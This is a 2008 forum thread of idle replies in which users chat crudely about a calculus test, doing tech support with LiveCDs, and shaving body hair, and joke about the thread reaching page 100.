Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 28, 2008, 10:42:29 PM
First calculus test is tomorrow. I really hope I don't get raped.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 28, 2008, 11:06:33 PM
So I've pretty much become my hall's tech support guy, using the power of LiveCDs, Google, and general familiarity with whatever their problems may be. It's kind of ironic that my desktop won't run a lot of the LiveCDs I use because they don't have amd64 support.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 28, 2008, 11:52:20 PM
Mai kitteh keep glomping me. HALP!!!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 29, 2008, 12:49:57 AM
AND NO ASSCRACK HAIR.  WIN/WIN

What's the fun in that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 29, 2008, 12:59:36 AM
What's the fun in that.

shaving it isn't fun, i can tell you that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 29, 2008, 01:00:52 AM
ps

new thread plox
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 29, 2008, 01:07:01 AM
Holy shit, it's that time already? It hasn't even been 5 months.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 29, 2008, 01:21:32 AM
Yeah I'll say.

I don't shave my ass (though I should) but I try to keep other areas neat and tidy.

Trust me a shaved area is a lot more appealing.

!Edit!

Holy shit 100 pages!?!?!?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 29, 2008, 01:22:58 AM
shaving your balls is when the fear kicks in
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 29, 2008, 01:25:18 AM
shaving it isn't fun, i can tell you that.

I don't shave my ass, way to hard and pointless. I do keep the front tidy, but that's nasty when people don't.

IN B4 LOQ.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 29, 2008, 01:26:41 AM
Oh gawd yes >_<.

I hate that part so much...one wrong stroke whoops....good thing I am very careful.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 29, 2008, 01:44:26 AM
I stick to shaving my face in the event that I actually do shave.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 29, 2008, 03:13:54 AM
I R TEH LAZY.

I hardly shave my face, let alone other places :/

Also, we may get to 101 before loq
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 29, 2008, 03:37:02 AM
page 100! loxxxxxx
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 29, 2008, 03:49:27 AM
Nope, we're gonna reach 101 :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 29, 2008, 06:51:07 AM
Nope, we're gonna reach 101 :P

pfft!  I say!

PFFT.

101.  Like the dalmatians.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 29, 2008, 01:53:27 PM
Nope, we're gonna reach 101 :P

Nope. :)